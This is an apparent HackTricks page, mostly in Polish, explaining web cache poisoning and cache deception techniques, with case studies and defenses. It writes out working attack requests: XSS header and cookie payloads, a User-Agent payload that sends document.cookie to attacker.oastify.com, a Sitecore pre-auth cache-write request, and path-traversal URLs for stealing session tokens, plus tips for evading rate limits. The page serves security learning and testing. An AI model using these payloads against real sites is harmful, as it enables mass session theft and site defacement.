Cache Poisoning and Cache Deception
Reading time: 16 minutes
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Różnica
Jaka jest różnica między web cache poisoning a web cache deception?
- W web cache poisoning atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
- W web cache deception atakujący powoduje, że aplikacja zapisuje w cache poufną zawartość należącą do innego użytkownika, a następnie atakujący odczytuje tę zawartość z cache.
Cache Poisoning
Cache poisoning ma na celu manipulację client-side cache w celu zmuszenia klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Zakres wpływu zależy od popularności zaatakowanej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w czasie trwania zanieczyszczenia cache.
Wykonanie ataku cache poisoning obejmuje kilka kroków:
- Identyfikacja parametrów niekluczowych: Są to parametry, które, choć nie są wymagane, aby żądanie było zapisane w cache, mogą zmienić odpowiedź zwracaną przez serwer. Identyfikacja tych parametrów jest kluczowa, ponieważ mogą być wykorzystane do manipulacji cache.
- Wykorzystanie parametrów niekluczowych: Po zidentyfikowaniu parametrów niekluczowych następnym krokiem jest ustalenie, jak nadużyć tych parametrów, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
- Upewnienie się, że skażona odpowiedź jest zapisana w cache: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź zostanie zapisana w cache. Dzięki temu każdy użytkownik odwiedzający zaatakowaną stronę w czasie trwania zanieczyszczenia cache otrzyma skażoną odpowiedź.
Odkrywanie: Sprawdź nagłówki HTTP
Zwykle, gdy odpowiedź została zapisana w cache, pojawi się nagłówek to wskazujący; możesz sprawdzić, na które nagłówki zwrócić uwagę w tym wpisie: HTTP Cache headers.
Odkrywanie: Kody błędów w cache
Jeśli uważasz, że odpowiedź jest zapisywana w cache, możesz spróbować wysłać żądania z niepoprawnym nagłówkiem, na które powinna zostać zwrócona odpowiedź ze statusem 400. Następnie spróbuj uzyskać dostęp do tego żądania normalnie i jeśli odpowiedź ma status 400, wiesz, że jest to podatne (i możesz nawet wykonać DoS).
Możesz znaleźć więcej opcji w:
Jednak zwróć uwagę, że czasami tego typu kody statusu nie są zapisywane w cache, więc ten test może być zawodny.
Odkrywanie: Identyfikacja i ocena parametrów niekluczowych
Możesz użyć Param Miner do brute-force parameters and headers, które mogą zmieniać odpowiedź strony. Na przykład strona może używać nagłówka X-Forwarded-For aby wskazać klientowi, żeby załadował skrypt stamtąd:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Wywołaj szkodliwą odpowiedź z serwera back-end
Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest sanityzowany i gdzie jest odbijany albo wpływa na odpowiedź z nagłówka. Czy można to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez Ciebie kod JS? wykonać DoS?...)
Uzyskaj zapisanie odpowiedzi w cache
Gdy już zidentyfikujesz stronę, którą można wykorzystać, który parametr/nagłówek użyć i jak go wykorzystać, musisz sprawić, żeby strona została zapisana w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to potrwać — może być konieczne wielokrotne próbowanie przez kilka sekund.
Nagłówek X-Cache w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość miss gdy żądanie nie zostało zapisane w cache i wartość hit gdy jest zapisane w cache.
Nagłówek Cache-Control jest również interesujący, by wiedzieć, czy zasób jest cachowany i kiedy nastąpi kolejne odświeżenie cache: Cache-Control: public, max-age=1800
Inny ciekawy nagłówek to Vary. Ten nagłówek często służy do wskazywania dodatkowych nagłówków, które są traktowane jako część klucza cache, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli atakujący zna User-Agent ofiary, którą celuje, może poison the cache dla użytkowników korzystających z tego konkretnego User-Agent.
Kolejny nagłówek związany z cache to Age. Określa czas w sekundach, przez jaki obiekt przebywał w cache proxy.
Podczas cachowania żądania bądź ostrożny z nagłówkami, których używasz, ponieważ niektóre z nich mogą być nieoczekiwanie traktowane jako kluczowane i ofiara będzie musiała używać tego samego nagłówka. Zawsze testuj Cache Poisoning w różnych przeglądarkach, aby sprawdzić, czy działa.
Przykłady wykorzystania
Najprostszy przykład
Nagłówek taki jak X-Forwarded-For jest odzwierciedlany w odpowiedzi bez sanitizacji.
Możesz wysłać podstawowy payload XSS i poison the cache, tak aby każdy, kto odwiedzi stronę, został XSSed:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Zauważ, że to zatruje żądanie do /en?region=uk, a nie do /en
Cache poisoning to DoS
Cache poisoning through CDNs
W this writeup wyjaśniono następujący prosty scenariusz:
- The CDN will cache anything under
/share/ - The CDN will NOT decode nor normalize
%2F..%2F, therefore, it can be used as path traversal to access other sensitive locations that will be cached likehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - The web server WILL decode and normalize
%2F..%2F, and will respond with/api/auth/session, which contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać, aby spowodować XSS na przykład, mógłbyś być w stanie wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Zauważ, że jeśli podatny cookie jest często używany przez użytkowników, zwykłe żądania będą czyścić cache.
Generowanie rozbieżności za pomocą separatorów, normalizacji i kropek
Sprawdź:
Cache Poisoning via URL discrepancies
Cache poisoning z path traversal, aby ukraść API key
This writeup explains jak możliwe było wykradzenie OpenAI API key przy użyciu URL-a takiego jak https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, ponieważ wszystko pasujące do /share/* będzie cachowane bez normalizacji URL przez Cloudflare, która była wykonywana dopiero gdy żądanie dotarło do serwera WWW.
To jest też lepiej wyjaśnione w:
Cache Poisoning via URL discrepancies
Użycie wielu nagłówków do wykorzystania web cache poisoning vulnerabilities
Czasami będziesz musiał exploit several unkeyed inputs, aby móc nadużyć cache. Na przykład możesz znaleźć Open redirect, jeśli ustawisz X-Forwarded-Host na domenę kontrolowaną przez Ciebie i X-Forwarded-Scheme na http. If the server is forwarding all the HTTP requests to HTTPS i używa nagłówka X-Forwarded-Scheme jako nazwy domeny dla przekierowania, możesz kontrolować, gdzie strona jest skierowana przez to przekierowanie.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Eksploatacja przy ograniczonym nagłówku Vary
Jeśli odkryjesz, że nagłówek X-Host jest używany jako nazwa domeny do załadowania zasobu JS, ale nagłówek Vary w odpowiedzi wskazuje User-Agent, musisz znaleźć sposób, aby exfiltrate User-Agent ofiary i poison the cache używając tego User-Agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Wyślij żądanie GET z żądaniem w URL i w body. Jeśli web server użyje wartości z body, ale cache server zbuforuje wersję z URL, każdy uzyskujący dostęp do tego URL faktycznie będzie używał parametru z body. Jak vuln, który James Kettle znalazł na stronie Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Jest lab PortSwigger dotyczący tego: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Na przykład w serwerach ruby można oddzielać parameters przy użyciu znaku ; zamiast &. Można to wykorzystać do umieszczenia wartości parametrów bez klucza (unkeyed) wewnątrz parametrów z kluczem (keyed) i ich nadużycia.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Dowiedz się tutaj, jak wykonywać Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
Narzędzie Web Cache Vulnerability Scanner może być użyte do automatycznego testowania pod kątem Web Cache Poisoning. Obsługuje wiele różnych technik i jest wysoko konfigurowalne.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ten rzeczywisty wzorzec łączy primitive oparte na refleksji nagłówka z zachowaniem CDN/WAF, aby niezawodnie zatruć zbuforowany HTML serwowany innym użytkownikom:
- Główny HTML odzwierciedlał niezaufany nagłówek żądania (np.
User-Agent) w kontekście możliwym do wykonania. - CDN usuwał nagłówki cache, ale istniała pamięć podręczna wewnętrzna/origin. CDN także automatycznie cachował żądania kończące się statycznymi rozszerzeniami (np.
.js), podczas gdy WAF stosował słabszą inspekcję treści dla GETów zasobów statycznych. - Szczegóły przepływu żądań pozwalały, by żądanie do ścieżki
.jswpłynęło na cache key/variant używany dla kolejnego głównego HTML, umożliwiając cross-user XSS przez odzwierciedlenie nagłówka.
Praktyczny przepis (obserwowany w popularnym CDN/WAF):
- Z czystego IP (unikaj wcześniejszych obniżeń reputacji) ustaw złośliwy
User-Agentprzez przeglądarkę lub Burp Proxy Match & Replace. - W Burp Repeater przygotuj grupę dwóch żądań i użyj "Send group in parallel" (najlepiej w trybie single-packet):
- Pierwsze żądanie: GET zasobu
.jsna tym samym origin, wysyłając złośliwyUser-Agent. - Natychmiast potem: GET główną stronę (
/).
- Wyścig routingu CDN/WAF oraz automatycznie cachowane
.jsczęsto powodują wprowadzenie zainfekowanego wariantu zbuforowanego HTML, który następnie jest serwowany innym odwiedzającym spełniającym te same warunki klucza cache (np. te same wymiaryVaryjakUser-Agent).
Przykładowy ładunek nagłówka (do eksfiltracji non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Wiele CDN ukrywa nagłówki cache; poisoning może być widoczny tylko przy cyklach odświeżania trwających wiele godzin. Użyj wielu vantage IP i ograniczaj ruch (throttle), aby uniknąć wyzwalaczy rate-limit lub problemów z reputacją.
- Korzystanie z adresu IP z własnej chmury CDN czasami poprawia spójność routingu.
- Jeśli obowiązuje ścisły CSP, nadal to działa, o ile reflection wykonuje się w głównym kontekście HTML i CSP zezwala na inline execution lub jest obejdany przez kontekst.
Impact:
- Jeśli session cookies aren’t
HttpOnly, zero-click ATO jest możliwy przez mass-exfiltratingdocument.cookieod wszystkich użytkowników, którym serwowany jest poisoned HTML.
Defenses:
- Przestań odzwierciedlać request headers w HTML; jeśli to nieuniknione, koduj ściśle zgodnie z kontekstem. Dopasuj polityki cache CDN i origin oraz unikaj wariacji zależnych od nieufnych nagłówków.
- Upewnij się, że WAF stosuje content inspection konsekwentnie dla żądań
.jsi ścieżek statycznych. - Ustaw
HttpOnly(orazSecure,SameSite) na session cookies.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Wzorzec specyficzny dla Sitecore umożliwia nieautoryzowane zapisy do HtmlCache poprzez nadużycie pre‑auth XAML handlers i AjaxScriptManager reflection. Gdy obsługa Sitecore.Shell.Xaml.WebControl zostanie wywołana, dostępny jest xmlcontrol:GlobalHeader (pochodzący z Sitecore.Web.UI.WebControl) i dozwolony jest następujący reflective call:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
To zapisuje dowolny HTML pod wybranym przez atakującego cache key, umożliwiając precyzyjne poisoning, gdy cache keys są znane.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Przykłady podatności
Apache Traffic Server (CVE-2021-27577)
ATS przekazywał fragment znajdujący się w URL bez jego usuwania i generował cache key używając jedynie hosta, ścieżki i query (ignorując fragment). Zatem żądanie /#/../?r=javascript:alert(1) zostało wysłane do backendu jako /#/../?r=javascript:alert(1), a cache key nie zawierał payloadu, jedynie host, ścieżkę i query.
GitHub CP-DoS
Wysłanie niepoprawnej wartości w nagłówku content-type wywoływało zbuforowaną odpowiedź 405. Cache key zawierał cookie, więc atak możliwy był tylko na niezalogowanych użytkowników.
GitLab + GCP CP-DoS
GitLab używa GCP buckets do przechowywania statycznych treści. GCP Buckets obsługują header x-http-method-override. Dzięki temu możliwe było wysłanie nagłówka x-http-method-override: HEAD i zatrucie cache tak, by zwracał pusty body odpowiedzi. Może też obsługiwać metodę PURGE.
Rack Middleware (Ruby on Rails)
W aplikacjach Ruby on Rails często wykorzystywany jest Rack middleware. Kod Rack pobiera wartość nagłówka x-forwarded-scheme i ustawia ją jako scheme żądania. Gdy wysłany jest nagłówek x-forwarded-scheme: http, następuje przekierowanie 301 do tej samej lokalizacji, co może powodować Denial of Service (DoS) dla tego zasobu. Dodatkowo aplikacja może honorować nagłówek X-forwarded-host i przekierowywać użytkowników na wskazany host. Takie zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi ryzyko bezpieczeństwa.
403 and Storage Buckets
Cloudflare wcześniej cachował odpowiedzi 403. Próby uzyskania dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization skutkowały odpowiedzią 403, która była cache'owana. Chociaż Cloudflare przestał cache'ować odpowiedzi 403, takie zachowanie może wciąż występować w innych serwisach proxy.
Injecting Keyed Parameters
Cache często uwzględniają konkretne parametry GET w cache key. Na przykład Varnish Fastly cachował parametr size w żądaniach. Jednak jeśli wysłano zakodowaną w URL wersję parametru (np. siz%65) z błędną wartością, cache key był konstruowany z poprawnego parametru size. Backend jednak przetwarzał wartość z zakodowanego parametru. URL-encoding drugiego parametru size powodował jego pominięcie przez cache, ale jego użycie przez backend. Przypisanie wartości 0 do tego parametru skutkowało zwróceniem cache'owalnego błędu 400 Bad Request.
User Agent Rules
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom wysokiego ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Paradoksalnie takie podejście może wprowadzać podatności, takie jak cache poisoning i DoS.
Illegal Header Fields
RFC7230 określa dozwolone znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza zakresu tchar powinny w idealnym przypadku wywoływać 400 Bad Request. W praktyce serwery nie zawsze trzymają się tego standardu. Przykładem jest Akamai, który przekazuje nagłówki z nieprawidłowymi znakami i cache'uje dowolny błąd 400, o ile nie występuje nagłówek cache-control. Zidentyfikowano wzorzec umożliwiający wywołanie cache'owalnego 400 Bad Request poprzez wysłanie nagłówka z nielegalnym znakiem, takim jak \.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Celem Cache Deception jest skłonienie klientów do załadowania zasobów, które zostaną zapisane przez cache wraz z ich poufnymi danymi.
Przede wszystkim zauważ, że rozszerzenia takie jak .css, .js, .png itd. są zwykle skonfigurowane tak, aby być zapisywane w cache. Dlatego jeśli uzyskasz dostęp do www.example.com/profile.php/nonexistent.js, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie .js. Jednak jeśli aplikacja odpowiada treścią zawierającą poufne dane użytkownika znajdujące się pod www.example.com/profile.php, możesz ukraść te treści od innych użytkowników.
Inne rzeczy do przetestowania:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Bardzo czytelny przykład znajduje się w tym write-upie: https://hackerone.com/reports/593712.
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę taką jak http://www.example.com/home.php/non-existent.css, zawartość http://www.example.com/home.php (z poufnymi danymi użytkownika) zostanie zwrócona i serwer cache zapisze wynik.
Następnie attacker może odwiedzić http://www.example.com/home.php/non-existent.css w swojej przeglądarce i zaobserwować poufne informacje użytkowników, którzy wcześniej uzyskali dostęp.
Zauważ, że cache proxy powinien być skonfigurowany tak, by cache'ować pliki na podstawie rozszerzenia pliku (.css) a nie na podstawie content-type. W przykładzie http://www.example.com/home.php/non-existent.css będzie mieć content-type text/html zamiast text/css.
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
Automatyczne narzędzia
- toxicache: Golang scanner do znajdowania web cache poisoning podatności w liście URL-i i testowania wielu technik iniekcji.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks